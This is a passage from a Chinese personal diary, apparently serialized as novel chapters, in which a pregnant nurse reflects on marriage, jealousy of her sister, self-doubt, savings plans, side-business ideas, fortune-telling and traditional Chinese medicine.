    被扒皮吃肉还有搜魂的龙，也太惨了吧！不过我又感觉很平常。怀着这种心情。点开了周公解梦，预示着可能会生女儿，需要注意，不要流产，可是看了其他的又预示着可能是生男孩子。看的我一个人真的分析不出来。然后抽签，发现签文还不错。随缘自在。看解析是看的人挺舒服的，大概的意思是一些很伟大的人他们在没有出名之前都是看起来很平常的人。可是他们终会遇到自己出头的那一天。我想起了我的观音灵签四十七。反正蛮好的。那是很多年前抽的了。抽到了的时候非常不可思议。因为那个时候我的心情一直都比较糟糕。有种死撑着的感觉。看到这个我心里好受了一些，虽然知道这种签文啊之类的都是心理作用，可是就是因为心灵需要指导才需要这些心理作用的方式，不管什么方式都可以，能解决问题就行。嗯嗯，现在醒来的心情好多了。特别的感谢有这些奇奇怪怪的网站，毕竟可以让我的心情感觉很好。去找心理医生嘛！又好奇怪，去找算命大师更奇怪，还是手机好，搜一下就行。
    今天又看了一些孩子跳楼的事情。因为他们感觉这个世界让他们很抑郁。自己小小的身体承载着父母以及长辈的期待，压的他们喘不过气了。所以发生了很难过的事情，我想如果我的宝宝出生了，我会怎么对待它呢？应该也就一般般吧。毕竟我也不是什么很好的父母。肯定没有钱送它去上补习班，学好了能上大学，也行，学不好去当技术工人也行。因为我只是它来到这个世界的载体，我又不是它，我怎么知道我眼睛里看到的这个世界的样子是它眼睛里看到的呢？毕竟我们是独立的个体。我生活压力肯定将来会大，我准备买一个沙袋，拳击手套，好好锤沙袋吧！买一个跑步机，下班了我才懒得散步，但是可以在跑步机上走个三十分钟，这样子也能达到目标。然后听书。记录自己开心的成功的事情，感恩的事情。虽然我知道我记了其实也没有很大的作用，因为我会忘记的。可是等我有一天我翻一翻我的书，我看到了也许就回忆起来了呢？希望吧！
    发现问题就要解决问题。用脑袋瓜子好好想一想。
    我的新家庭的家庭环境，并不是很好。不是读书人的生活环境。虽然已经很努力了。不过没有当读书人当一个技术工人也很不错。不知道家婆的新工作环境怎么样？要是可以学会做衣服就好了，等我休产假的时候，请她教我，我就可以给宝宝做衣服了。可是我心里的自信的能量其实很小，我看过很多的书，可是我胆子比较小，有的我还是看懂了，我也努力的做了一点点，可是条件限制，所以并没有做的很好，我的雨衣烂了，我自己缝好的，就是用缝纫机。还不错。
    其实结婚之前我的内心里很多东西都很想学习，内心里非常的渴望自己能挣很多很多的钱，可以让自己的弟弟妹妹学习。因为那是曾经我自己的心愿。可是我的内心又特别的矛盾，我一方面并不是一个圣贤人，我在嫉妒和羡慕着他们。我每次都需要很好的控制自己的非常难受的情绪。可是很多时候又控制不住。我的理智很明白我在嫉妒他们，可是我的情绪又很难宣泄出来。就像一个笼子一样锁着我自己，很难受。锁着我自己的又是我自己。结婚了以后。有的时候我仍然很难感受自己的情绪。好像做什么事情都是理智思考的一样。好像我并不理解这些事情。可是我没有办法去宣泄这种情绪。我想要学习，可是我又在不学习的事情。去找自己学习不了的借口。家里人都说这个家的风水不好，没有学习天分。废人家庭。久而久之我也这么认为，自己是一个废人。结婚一开始会感觉自己还是有希望的，后来慢慢的发现自己越来越丧。失望了。不过我结婚之前也是经常很丧的。所以根本没有什么区别。不是一家人不进一家门。
    上班的时候，观察有一部分人，他们都很有素质，带的宝宝也很有素质。然后有一部分人，他们整个人都想泼妇一样特别的焦虑，然后他们的宝宝也特别的调皮，这个动一下那个动一下，我就看着也不去评价什么。可是看的多了，也就明白，可能是家里的大人太累了，宝宝就会变得更皮吧！因为我们家也是这样子的。家里大人心情特别的糟糕的时候，我们做的想让他们骂的事就越多。有的时候这个认知真的让我感觉很悲伤，因为我们一代又一代的人都是这样子过来的。我好像在复制我的妈妈，而我的孩子也会复制我的思维模式。不知道我们这样子有什么意义？也许买了房子就知道是什么了吧！听说买了房子有了房贷看什么都很顺眼了。那些不理解的都理解了。我感觉现在的生活很奇怪，等买了房子看的就更清楚了。加油吧！
    我想要一套房子，四室两厅。老公还需要还债，大概六万的样子。这是他娶我欠的钱。这个本来就是需要他自己还，就让他自己还，我的存起来买房。毕竟我们都是农村出来的的人，已经算得上啃老了，他才毕业一两年大部分都是他父母垫的彩礼，而我的话毕业八年了。没有车没有房，就他的性格比较合我的眼缘。我自己的本事又只有这么一点点，要是能力再强一点，可以孤独终老，也是行的。因为结婚真的对我来说不算挺好的一件事。我的生活居家能力特别的差。一屋子都是乱糟糟的，特别的恶心，我想要是谁娶到了我确实生活质量会很差很差。我对自己又比较苛刻。不买什么东西，能不买就不买。其实有的时候没有忍住也买了一堆的烂七八糟的东西。所以我这个人是有问题的，如果能力再强一点，我是没有准备过嫁出去害人的。
    可是我是农村里的人，年纪到了老大不小了，还没有嫁出去，对我的家风有很大的影响。街坊邻居会对我家指指点点的，这是让人很难受的事，毕竟我的原生家庭已经被指指点点了很久了家里还有未来的小孩子，他们也需要好好生长吧！老人家的压力也很大。如果我妈妈的话，她有了压力会骂的更惨。不是家庭不爱我了，而是没有办法。要怪就怪自己的能力不够强大。没办法去满足自己的心理需求。
    真的有钱有能力，结什么婚。结婚只是为了多一个人来抵抗未来的不可抗力。这个世界很奇特啊。没结婚的时候，被催婚很难受，结婚了之后发现日子并没有像小说里面写的那么好，其实也做好准备了。毕竟我也不是小说里女主角一样的性格，老公也不是小说里男主角一样的性格。都烂的差不多，习惯也是差不多。为了一个人去改变自己的生活习性真的很难，至少我改不了，我在结婚之前认为自己结了婚之后就能够把家收拾的井井有条，可是结婚了以后并没有。家还是那么乱。期待于老公，老公忙起来了的时候，很晚，懒得去期待。闲下来了就是打游戏，不打游戏就没有动力。就像我看视频一样，看起来没完没了的。知识很多很多。吸收不完。自己需要学的知识，那是真的不太想看，为什么不想看呢？因为乏味无聊，然后意志力需要提升。对待自己的人生目标轻而易举的就能放弃。然后找各种借口。
    其实我对我自己有些失望，其实一直都很失望，从我小时候，坚持早上喝一杯水，坚持了三个月，之后放弃的事开始我就很失望了。很多事都是这样子的，对我自己好的有益处的，就算再简单我都会懒得去干，让我自己很难受的，就算再麻烦我都会去干。为什么我是这样子的人呢？我很奇怪啊！
    为什么会这样子呢？
    因为我不爱我自己吧！就算是小时候也是这样子。即使长大了也没有变化过。
    可是为什么会不爱自己呢？我现在并没有答案。
    算了记一下今天做的一些事情吧！做的很优秀的。
    第一点我记录了几个视频，老公给了我一个，我自己录了一个。很开心。
    第二个，我没有想到我居然又写了三千多字，不可思议。因为一开始的我八百字都憋不出来，没有想到我的文字已经可以写到那么多了，惊讶惊讶。
    第三个我听了瑜伽语音冥想。听完以后很舒服。我发现还有怀孕的妈妈可以做的瑜伽。可以练习一下。
    第四个我买了我爱吃的水果。今天的尿液比较多，感觉排湿挺好的。做对了选择真好啊！
    第五个，我今天煮了红薯，一直很想这么干，可是我就一直拖着，今天终于动手了真好。
    第六个，和家里人聊天回忆起了好几年的一个新闻，所以也还好吧！反正聊的兴高采烈的。不开心的是不知道为什么聊着聊着家公突然说有一个人偷人的事，还看我老公，难道我老公有这种倾向吗？管他呢！管的到表面还管的到心里吗？我们都对彼此不太满意，结婚本来就是要做对对方更好的事。把利他转化为利己。失望的情绪也就是这样子来的。我推荐的好看的书，认为比较好的，已经几个月了他并不想看，根本没有精神交流。他还是比较喜欢玩游戏。不过改变别人是神经病，还是改变自己好啊！所以很多事懒得理。也许只是这段时间太忙了，太累了，实在比较喜欢玩游戏放松，不想被人控制的感觉。所以不想讲那么多。
    我会因此而感觉到失望。解决自己失望的情绪就是让他帮我做事吧！如果你对一个人心里有不满的感觉，那么就找一件事情请他帮你的忙，心里就不会有不满的情绪了。
    第七个，我很高兴我能清醒一点。
    第八个，今天买的裙子到了还行。不知道放洗衣机会不会褪色，或者染色，不过还是放洗衣机了但愿不会吧！染了也没有关系，因为很便宜。不过质量我很满意，所以也还好。
    第九个，昨天看见了一个比较性感的同事，有点意外，她会穿的那么好看。挺美得，以后也想这样子穿。
    第十个。我记录了自己的梦境，其实我做的噩梦很多很多。可是我很少写下来，因为我很没有安全感，我怕别人看到了我的梦，会对我有一些不友好的看法，让我感觉很不好意思。只分享给我有安全感的朋友，不过这样子也让我没有安全感，最好的安全感是什么都不说，可是不说的话，我的内心又会特别的焦虑，不安，所以还是需要说自己的梦境。听说梦境代表了一种情绪，或者压力跑进了梦境的世界里，所以梦里面会有很多很特别的事情发生。那些就是奇奇怪怪的情绪。所以写下来也挺好的。之前记录过一个，隔了几年去看那个奇怪的梦境，仍然会感觉自己很神奇。看到了一些人的评价，他们说那是因为我有比较高精神欲望，所以会做这样子奇怪的梦境。精神欲望又代表什么呢？估计是看书学习一类的吧！可是书本里学不到让我感觉自己情绪上可以很安稳的东西，我也很想知道这是什么？可是情商里的，比如有一些不理解的事。不要对一个很惨的人落井下石。我一直都不太明白，那本书里说如果一个人过得特别的惨就不要去欺负他了。因为绝望到了一定程度，他很有可能会绝地反击变得更好更优秀，或者走极端，变得特别的差，可是你欺负了人家，人家就拿你报仇雪恨。会给自己惹到麻烦。所以看到了一个很惨的人不要落井下石。我一直都不太懂这个事情，一般情况下，我人情绪很好的时候我也不会这样子做，可是到了自己的情绪特别差的时候确实很容易碰到了惨的人想去嘲笑一番。而且是控制不住的那种，后来我就慢慢改变了，变得在心里想一想，可是在心里想一想仍然会变得让我和他一样惨。这就是我吧！很特别的脑回路，不过这样子的我也就能够理解这个看起来很惨的人，他为什么会那么惨了。这就是我想考本科的原因，考到了可以去考国家心理咨询师。可是考到了并不代表我就能干好这件事，就像我的护士资格证一样，上岗证资格证专业证都有，可是我哦并不能当好一个护士，可是我的心灵仍然是好的。我可能拥有内在的职业素质，可是我并没有工作上的职业素质。也或者是其他原因。其实我工作能力很好，可是我的恐惧感太强了。搭班的老师也说过我做的很好，可是我的内心里是没有认同过她的评价，我只有认同她的批评，所以很神奇啊！我必须想办法成长。明白自己缺少什么？可是这是心理问题。交给专业的人来做吧

 第64章

    又过了一天啊！今天计划的事情没有做。一下班就睡着了。本来打算做题目的，因为题目很多。
    今天忍不住想要抱怨老公，因为他睡得很晚。昨天晚上我肚子疼，拉不出屎，被迫无奈的醒来他居然在看手机，当时已经凌晨了。然后睡了一会儿再拉屎，他还在看手机。。。。我的内心真的没有什么想法了。因为听其他老师说她们的老公也是这样子，很晚很晚才睡。而且几十岁人了也依然如此。
    所以很无奈啊！尽管我也晚睡，可是我真的没有那么晚啊！
    不过这次我没有当面抱怨他。因为讲过也不会改。
    也许他做好了这一点，以后其他的点也需要他做好吧！真的需要对他人没有任何一点期待，因为有了期待就会失望。
    女性的长辈说过，想要婚后的生活好一点，就有很多话是不能说的。需要好好思考，谨言慎行。因为枕边的那个人也不一定时时刻刻都让人感觉到安全感，让人感觉到每时每刻都是幸福，所以需要好好思考，生活里有很多的事情都需要领悟。婚后的生活并不容易。
    这是我现在不太明白的，所以也懒得去讲了。
    今天看了一点点书。虽然我的吸收率一般般，不过我今天学到了！第一点记住了甘草大枣汤，归脾汤的作用。
    第二点听了一篇书。
    第三点我控制了自己的情绪，挺好的。
    第四点有了一个很奇怪的想法。希望等我生完二胎之后，我能好好的试试这些药吧！我认为中医很好，以前生了一些病也是用中药治好的。现在感觉自己身体挺好的。可是精神力比较弱，学东西并不是很能够记得住专注力比较弱。以我的浅见，可能我是肾精不足。我其实需要好好的治治，可是我怕看医生。我想等我生完二胎，我就自己好好折腾自己一下吧！因为我们这里的医生也是这样子的。他之前生了一场病，然后西医的方法没办法治好自己，就自己翻到了中医的书按照中医的方子，治疗了一把，然后就好了。后来就在业余时间不断的学习中医。也成为了一个很棒的医生。我的身体脾胃不好，老是放屁。然后去医生那里看吃了十来块钱的中成药，身体舒服多了。不过我的毛病是长期饮食不规律造成的。之前上晚班，一下班不吃东西，就这样躺一天。有的时候又会多吃一点，有的早餐晚餐都不吃。有的时候饭点又不一样。有的时候没啥事也不想吃东西。总之就这样子造下去。我的身子骨就这样子越来越垮。不过做这样子的选择并不后悔吧！因为每个阶段的自己都有需要克服的事情。只是那个阶段的自己选择了不去干。那就需要接受自己做的选择的后果。
    总之我毛病好多。等老了的时候再好好治治吧！
    今天看到了一个主任医生。那个医生也是超级好的。之前妈妈带我弟弟去他那里看病，然后他知道了妈妈现在有的药，也就能没有开药给我妈妈，叫我妈妈按原来的吃给我弟弟下去，一个星期之内就会好起来。弟弟拉肚子。可是我妈妈这个奇葩，偏偏不听，然后就去了一个神婆那里，花了不知道多少钱我也没问。也不知道怎么子，弟弟好了。药应该也吃了，所以我能说什么呢？我什么也没有讲。因为讲了也没办法。只能说这个世界上有很多病其实并不是医生需要你花钱的，而是你自己需要你花那么一笔钱治病的。就像家里人一样，心情不太愉快，然后买了一堆的药，一口都不想吃，钱花了一大把，身体也没有好起来，我也是这个样子的。并不是因为需要钱治病，而是心病还须心药医。可惜有很多的时候，心病是很难治疗的。所以学医难啊！
    不过那位医生很好，我可以好好记住他。希望他也能更上一层楼吧！最近医院又考到了好几个比较高级的医生。很佩服。因为医学挺难的。字都在那里，能看得懂就是自己的本事了。
    就我一个高级学渣来说，我今天翻了好几页的书。能够看得懂的一点点，能够在看懂的基础上再记住的又只有其中的一点点，能够在记住的基础上能够按自己的话说出来变成自己的东西就只有两行字。不得不说有很多事情，真的需要天分，天赋。努力的时候在学校里很有用。因为大家都是同样的时间，天赋缺乏的时候，努力也能让自己补上那块短板。可是到了工作的时候，一切都变得很艰难了。因为不止需要工作，还需要生活。还有很多琐事。这就需要很多很多的专注能力，需要挤出时间来学习。挤出时间来学习更上一层楼，就需要很多家人的理解。如果是男的，一个心思的专注于工作，那么很容易忽略女主人的感受。就像叔叔那样子。叔叔写字非常有天赋，几乎一生都在学习一样。因为都是农村出来的，没有很多的其他资源，只能用好自己的天分，然后买车买房，可是婶婶还是会抱怨他，因为他没有花更多的心思去陪伴她。学医也是这样子的。那位医生听说吃苹果还是老婆给他削好来的递给手上吃的，老婆在家当全职太太。这是我听人家说的，具体的我也不清楚。不过我在家也给我老公削苹果递给他手上吃。不过他也会给我半夜端水喝我有需要的时候他也会削好苹果给我吃。因为我听别人的闲话的时候没有什么太多的感觉，等我自己做这种事情的时候也没有什么太多的抱怨。毕竟是夫妻啊！他会对我好一点，我也会对他好一点，生活并没有一摸一样的模板，如果每个人的日子就像影视剧里标配的那样子，未免也太无聊了。听很多的内容都是全职太太过得不爽的故事。可是真的做自己认为有意义的事情，不管是什么都会感觉到快乐吧！
    如果有一天我也是全职太太。我肯定不想把日子过得一团糟。我想我会买一个摄影机，把自己想做的食物都记录下来，学习制作更精美的食物，然后发到视频平台上去，没准能涨粉还能挣钱，还能接广告，登上人生巅峰。做家务嘛，买一个高档的扫地机器人，擦窗户机器人，洗衣服用高级洗衣机。日子过得爽一点啊！就听说带宝宝比较累。我没有带过宝宝，所以我没有发言权，既然大家都说很累，那肯定很累吧！
    不管是职场人还是全职太太都需要好好思考，做事情，因为做事情思考的过程，可以让自己感觉到幸福。就像下班自己做好一道菜，非常用心的那种，自己看到那碗菜就感觉很幸福。听说这叫做啥子心流状态。我也搞不懂，只知道能够让自己开心的事，就是做好一些小事情，慢慢的记录下来，等过一段时间看到了就会很惊讶自己居然那么能干。每天记录可以让自己越来越自信，这是小狗钱钱里的内容。然后等过了一段时间，再去看自己的经历就越变得很有成就感。我和我老公对比就是这样子。他有很多愿望比如买一辆豪车，可是他想买的非常贵。然后想了一下子大概不超过三十分钟，马上就陷入了一种绝望感里面，然后不停的说自己没有钱没能力。我听了以后内心。。。。这就是我和他贫穷的本质吧！这种本质真的很难改。就跟狗改不了吃屎一样。三天两头就是又希望了又绝望了。我认为狗狗一开始肯定不爱吃屎的，只是一开始太苦了才吃屎。吃屎对于狗狗来说可能并没有什么，在它的大脑里只是一种食物，而且还能获得大脑垂体分泌的多巴胺。有快乐的感觉。而我和老公的这种心理状态也和狗吃屎一样，一开始我们可能不喜欢，可是慢慢的长期的，发现自己就离不开这种状态了，没什么事情就冒起了希望，然后又陷入了一种绝望。慢慢的越这样子想就越爽。也就长期如此了。
    可是这并不是很好。
    昨天我想了很多很多东西。在b站看到了一个评论，以前大家想生男孩子，是因为一种利益趋向，现在女孩子更有价值了，男孩子的负担更重，所以想生女孩子。可是如果心里面真的是平等对待男孩女孩都一样，不是也可以为女孩子也好好奋斗一把，给她买车买房吗？然后我的内心突然就想到了这个事，我突然很想为女儿买车买房。好好奋斗一把。那种充满激情的感觉，真的让我好爽啊！然后爽过去了，也就过去了。我的日子还是和原来一样过。昨天下班研究了很久卖肠粉的，如果我在修产假的时候去卖肠粉的话，一天卖五十份肠粉，挺说一份肠粉能挣两块钱，那么就是一百块钱了。产假能够有几个月的时间，完全可以回本，想的越来越入迷，然后看了一下机器，大概一千多块钱，然后看了一下我的房间在二十四楼，做肠粉需要半夜起来操作，确定不会被邻居投诉吗？而且机器也很重吧！
    然后就想到了去租一家店面，之前看到过一个小店面，大概也就一两米宽的样子，店家说她的租金三千块一个月。也不知道是不是她瞎扯的。总之想了一下成本好贵啊！带宝宝最划算的还是卖气球了，听说同事说她的朋友就是卖这个的也能挣一点点钱。一个月能够有一千五百块钱也挺好的，不过我好像不太爱卖气球。以前倒是想过卖气球，在广场上，可是我没有去干，因为我发现广场卖气球的人很多，有时候很晚了她们的球并没有全部卖完。也有可能人家卖了一批，然后再叫别人补一批回来也不一定。总之这个卖气球的想法被我搁浅了。哎呀，念头总是很多很多。想了一下，如果去卖肠粉，带着宝宝，可是宝宝成长的一辈子安全感就在于这几个月，如果去卖肠粉容易让它没有安全感，一辈子都在担心妈妈不在，然后没有及时的奶喝，然后处于一种口欲期里面，那么这也是不太划算的。钱应该可以挣到，可是宝宝的成长就耽搁了。划不来，除非能找到能带宝宝又能挣钱的事，嗯嗯像同事发朋友圈卖衣服，宝宝的。可是好多卖衣服的朋友啊！我好像也不是很喜欢卖衣服声音主播，万一有杂音怎么办？总之我想做什么？都会想到失败的那一面。做不了的那一面，那我真的想做吗？想干就动手吧！
    还是写文字吧！写文字可以让自己变得开心一点。慢慢的累计经验，慢慢的成长。听说捡破烂的也很挣钱，听说很多的职业都很挣钱，总之很多的工作只要用心就能挣钱。家公说当贪官能挣钱。希望弟弟好好学习，争取当官，其实他原话应该不是这样子讲的，我认为听到我耳朵里就是这个意思，可是其实我听别人说话有的时候理解的意思和他们本来想讲的意思可能是两码事。所以我就按我理解的去理解吧！我不太喜欢这种思想，可是这是长辈，懒得讲，也不能讲。弟弟的话，还不如让他不要做作业呢？好好玩吧！因为这种思想很奇怪，因为在我的想法里，能够当领导或者官员的人，他们的思维逻辑肯定是有好几个纬度的，我属于二维的脑子，我能看得到的就是眼前的事，比如饿了我就想吃饭，吃了这顿就好了，更聪明一点的，他们饿了他们想吃饭，会想办法把下一顿给搞定。更聪明一点的，他们饿了吃了这顿饭今天的话，会想办法把明天和后天的饭给搞定，至少以后就不挨饿了，有的人还会想办法让别人不饿着。这就是我们和别人的区别。尽管知道有这么一回事，可是思维里面没有这个逻辑，这只是很小的一面，以前看《福尔摩斯探案集》其实我并没有看懂过，可是我全部都看完了，尽管我一点都想不起来那些内容了，也没有什么太大的深刻的印象，可是我记得里面福尔摩斯对华生说的话。华生问福尔摩斯，为什么他能想到那么多，是因为他有特异功能吗？福尔摩斯说他看到的东西和华生看到的是一摸一样的。可是他会思考更多。比如有的人戴过眼睛，眼角会有一些痕迹，然后说话的方式，可以去判断他这个人的职业是什么？因为有的职业性格就像一张面具一样大部分的人都有这个面具，那么一看他的面具就知道他的工作是什么？然后穿着打扮，别人看到的和他看到的是一摸一样的，可是他会思考为什么那个人他会这样子穿，是处于一种什么模样的心情？然后那件衣服是今年的新款还是前几年的，穿这件衣服代表什么？性格特点是什么？然后慢慢的细想。就能推理出很多的事情。几乎还原案件还有事情的真相。这就是他能够做侦探的原因。我把福尔摩斯看完了，最能理解的就是这个了，因为我的智商真的很捉急，看不懂这个需要想象的书。所有的字我都能认识，也知道书籍里的人在聊天，可是我无法理解他们聊的是什么意思？然后就看见了结局，结局出来的时候还是不太懂，这就是三维想象力，或者其他的能力吧！反正那个时候的我认知有限，不理解。等我看到前面我能看懂的那一段文字的时候我就明白了福尔摩斯讲的什么了。很有意思的就是这个。
    在面对社会工作的时候。有的老师做事情，看到了这一步，她就想到了下一步，然后她们每个步骤都做的很好，然后工作起来就节省了很多很多时间，而我上班，死记硬背生搬硬套别人的工作流程，还是拖班。这问题的原因就是我的思维模式不一样啊！尽管我懂这样子的道理，也很想把自己拆了再重新组装一遍。可是这是没有办法做到的。这就是天生的。家里人说如果你遇到了一些事情，很想解决已经尽了自己所有的努力可是却仍然无力解决和改变，那么这就是天生的，天注定的，没办法。只能认命了。可是认命也需要不断的努力学习。坚持下去。尽管这一生可能过得不如意，也尽量让自己满意。
    说回这个思维模式。扯远了。如果你是一个人对面同样一个人，你们都看见一摸一样的事情。然后你看见的事情能够分析这件事背后的东西，然后再去工作，事情办的很快，而对方没有看到，就这样子长时间下去，你就挣的钱更多。然后你的能力被上级看中了，就让你去做更高一级的工作了，而对方还在原地工作。如果你在更高一级的地方仍然做的很好，看到了更多的东西，那么就能工作更重要的事情。你这类人有可能是小组长，有可能是厂长，有可能是老板。有可能是官员。而对方有可能像我这样子是打工仔。你和对方其实都是打工仔，只是你的工作能力打的工更高级一点，对方能力有限打的工更一般一点，所以工资不一样。这是我对于收入不平衡的理解。
    因为我和妹妹都是学生的时候。她现在还是学生。她比我小。我一直都认为我是个很努力的人，可是我没有得到三好学生。小学，我的作业都是在快要上学的时候加班加点做完的，妹妹是一有作业就做完来再玩游戏看电视之类的。所以她小学有奖状我没有。到了中学，我中学时代认真过一段时间就得到了一面奖状，然后又颓废了，就没有奖状，然后有一段时间表现的很好，就有了奖状。一直都是处于不太稳定的状态，妹妹有奖状。双休日回家，她是回家会看书和做作业的，我双休日回家我也会把书带回去，不过我并没有花很多精神在书本上。只花了一段时间。这些都是大家有目共睹的。然后平时的表现我也很一般，经常对家里人发脾气。发脾气的我并不是很开心，家里人也不开心。而妹妹在家，她说话做事都会考虑很多人的感受。这就是和我不一样的地方。说话和做事的方法其实我们家买了演讲与口才，这类杂志，所以我们都知道这样子的配方，可是我并没有做到。尽管我把那些书都看完了。书籍里面也有很多和家人长辈沟通的方式方法，碰到夫妻感情生活应该怎么做会让生活更好。可是我看了，我没有学会。因为在我心里认为按照这样子的做事方法做事，人都是木的，生活会变得很没有意思。需要克制自己的情绪，方方面面，所以我从来不克制，可是这样子的我，我心里也认为我是个废人。自己也在否定自己的价值，因为我既没有良心，（会和妈妈大吵大闹的说话，）也没有孝心。（说话和做事吵架一样。很多的细节上并没有像传说中贴心的小棉袄一样做事，那些小细节让我认为自己不一样，没啥子感情，很大的缺点。）不知道自己的人生意义是什么？即是听话的又是不听话的。好像自己完全不知道自己想要什么一样。心里的方向没有，也没有坚定的意志。总感觉自己缺少什么？可是不明白到底匮乏什么？
    我是嫉妒妹妹的。我告诉了妹妹。我也不和她亲近，因为我靠的越近，我的嫉妒也会越多吧！嫉妒如果能够带给我好处，我是开心的，如果它带给我坏处，那么我没有办法拒绝我的本质，只能让自己远远的待着了。这就是我和妹妹的区别。很多时候我都感觉我妹妹并不聪敏，她可能比我笨一点儿，智商方面，有些事和我一样总都教不会别人拿到就会的东西，讲出屎都听不懂，很有可能是因为她更勤奋所以变得很优秀吧！可是在智商上讲我们好像都是一般般的。并不是聪明人。
    所以不是聪明人的我们，通过努力可以让自己的人生变得比以前更好。给我算命的先生也是这样子讲的，我的好奇心强，然后智商一般般，很容易被坑，容易听信别人的话语，没有自己的主见，天分是这样子没办法啊，所以此后的人生多做事，少说自己和他人的闲话，碰到了很难的事情，放宽心仍然坚持努力下去，以后自然就会过得好了。他的原话我忘记了，其实说的很好，可惜我没有听懂。我只能把我自己能够记住的理解的说出来了。
    反正左右都是碰到了很难的事情，仍然需要坚持努力。
    说我能够在六十岁挂。其实这个时间有点子长，那段时间心情很差，差不多感觉自己命短，会想不开的那种，听说我有六十岁的寿命我真的很惊讶。然后真的碰到了很难受的事，然后也过了这个坎。没有经历这些的时候，会感觉自己对很多事情都不理解，对很多人的人生都不明白，想不通，等我经历了也就懂了很多事情。不会对别人的人生指手画脚的从心里上谨言慎行，以前是从道德上可是心里上是不理解的，这是很重要的一课。
    一样的米养千样的人。同一件事，同一个世界同一个场景，因为人与人的不同，看到的和理解的画面就不一样，然后又因为种种不同产生了种种选择的不同，结局也就不同了。真的好神奇啊！

 第65章

    不开心了。不知道为什么一吃鸡蛋整个人就不开心了。现在我好想抱怨我老公。抱怨他的原因:第一他在这个月发工资之前说好了会给我两千块钱存起来，这次给了一千五。烦躁。不能给那么多就不知道不要讲。讲了我又会期待，结果又达不到预期。
    第二买饮料喝。我实在搞不懂为什么他会很喜欢喝饮料，可能这是他的爱好吧！比较烧钱。反正我不讲了。我有点气。一想到就气。本来也就才几块钱的东西。讲了多不好。烦。讲了其实也和没讲一样，他不买这种饮料，下次买另一种饮料。就是喜欢喝饮料。没办法。
    不想讲，讲了也没有什么用。估计这个人就是给我渡劫用的。醉了。
    这个月花了好多钱！对宝宝有好处的都认为花的比较划算。可是怎么样才能开源节流呢？有什么可以提升我自己的。
    结婚之后，就懒了，有很多需要学习的东西没有去学习，然后整个人都好烦。花的钱好多啊！
    看了很多很多的省钱小妙招，发现自己能够用的还是比较少的。不过十二单存钱法还是可以的。就是每个月去银行定存一笔一年期的钱。然后到了第二年每个月都有一笔到账。可以让自己变得更好一点。万一有急用的话，去银行取就行了，也不用减少很多利息。这个是正在做的。不过我也没有做多久，刚开始，每个月定存一千块吧！不过看的信息推荐的是买一年期的理财产品，不过是我不太懂的，还是过一段时间再说吧！
    问了老公才知道，老公上个月请假了，所以扣了钱。他腰椎间盘突出的那几天。原来如此。哎呀真的很希望他去单位上班，假又没假，一个月才两天的休息，晚上又那么晚回家。真的很抱怨啊！哪里挣钱都不容易。单位上班也比较辛苦的。可是一个月有四天。算了算了不要想那么多。
    今天算了一下我实现财务自由需要多少钱。在银行存五年的定存一年花四万左右，就我一个人的话。我需要存95万的存款。。。。我真的是看到我都无语了，那么多吗？我怎么样才能挣到那么多钱呢？
    我看了一下一些前辈分享的挣钱经验。他们有下班时间摆地摊的，也有做微商的，还有兼职去做主持人的，简直就是五花八门的方式。可是我好像都不会啊！而且我的交际沟通能力一般般。好像不适合。有一段时间很羡慕家婆，她上班，制衣厂，可是她的工作时长好长啊！从早上八点上到晚上九点半，现在一加班就更晚了，十点半才回。也太辛苦了吧！人间好累啊！挣钱不容易，感觉自己就像工具人一样。看了一些其他的人分享的信息也是，我以为除了我自己这个世界的人都过得特别的爽，去看了人家分享出来的，才知道都一样的辛苦。生活真的不容易啊！
    话说回来，我该怎么样才能挣钱呢？有什么方法可以让我提升自己的认知。今天学到了一个知识:你的财富和认知程度是想匹配的。如果有一天你的财富比你的认知更多，那么那些财富也会流失掉，让它和你的认知能力一摸一样。简而言之就是凭运气挣来的钱会凭本事花掉。所以想要多挣钱就需要多提升自己的认知能力。
    存钱虽然并不能让自己变得更有钱，可是可以让自己拥有更多的本金。等以后就可以更好一点了。
    然后提升认知的能力，应该是看书吧！在休息的时候，就好好的听书，喜拉玛雅之类的，懒人听书之类的的app反正都有，就连抖音也有这样子的东西。想要去学习就一定会有机会吧！反正现在的算法听说很牛批，万一被它算到了我很想学习，它就会不断地推荐那些让自己认知能力提升的东西给我，岂不美哉。
    人生还有那么长。肯定把自己主职做的更好。然后还需要提升自己的能力，解决更多的事情。才有更高的工资。
    今天写了一篇文章。感觉自己的状态又回来了，真的很神奇耶。之前老师就说过我的风格就是具有生活气息，后来我发现有生活气息的我写出来的文笔没有人家文绉绉的人写的好，因为有一些人他写的文章真的让人身临其境的那种感觉，就像一个美梦一样把画面展现在自己的眼前的那种，可是我没有这份文笔，那段时间想学，可是也学不会，反倒把自己给丢了。有点遗憾，没有想到现在的我居然又拥有了和之前一样的感觉。可以把自己心里面所思所想非常流畅的表达出来。昨天我写不出来，在气头上，然后我突然想到了那个梦境，梦里面我的文灵被别人强行拿走了。我在想是不是真的有限制一类的东西出现呢？可能我不太适合，可是就算不适合或者老天爷不允许我写东西，我也需要认真的的写下去，因为我的这本书塑造的角色没有别人只有我自己一个人而已。会疯癫，会开心会愤怒会努力会懒惰，总之各种各样的自己。就算是失败了，我可能老了没有钱，可能会经历很多失落的感觉，可是这就是我自己，我能记住的我自己。据说七年就会换一种物质。我们其实就像模型一样的人，只是那些物质构成了我们现在的自己，过了一段时间再去回想一下过去，我们会发现我们和曾经的自己是那么的不同，甚至非常的陌生。就是因为我们并不是我们自己，我们是自己又是其他的物质。所以我充满想象力的去想，也许我们是我们自己又是其他空间物质的一场学习经历。它们对于人生的学习形成了现在的我，我也从中获得很多的人生经验。当然这只是一种想象力，也许它们其实就是另一个世界的我呢？也不一定对吧！
    总之在很困难的时候就去看书学习，或者交朋友，就会让自己好起来。不管用什么方式，你在面对困难的时候采取了措施就一定会有收获的，哪怕只有一点点，也比什么都不做更好对不对？
    过几天就要考试了。我真的很想看小说啊！等我考完来，我就会去看玄幻小说，快穿也行。我需要增长一下我的想象力。我还是用喜拉玛雅之类的听说软件吧！因为我发现我又近视了。没办法实在是爱看小说。里面的内容特别的精彩绝伦，很羡慕那些大佬写的文。很想写这样子的文，可是我还需要锻炼文笔。我才写了十来万字，听说大佬写了一百多万字以上才达到这种效果。我需要再接再厉加油！
    今天我做好的事情！
    第一我学习了一个ppt，关于本职工作的，听了护士长的分享。这个我还需要做笔记。
    第二我做了鱼丝，挺好吃的。
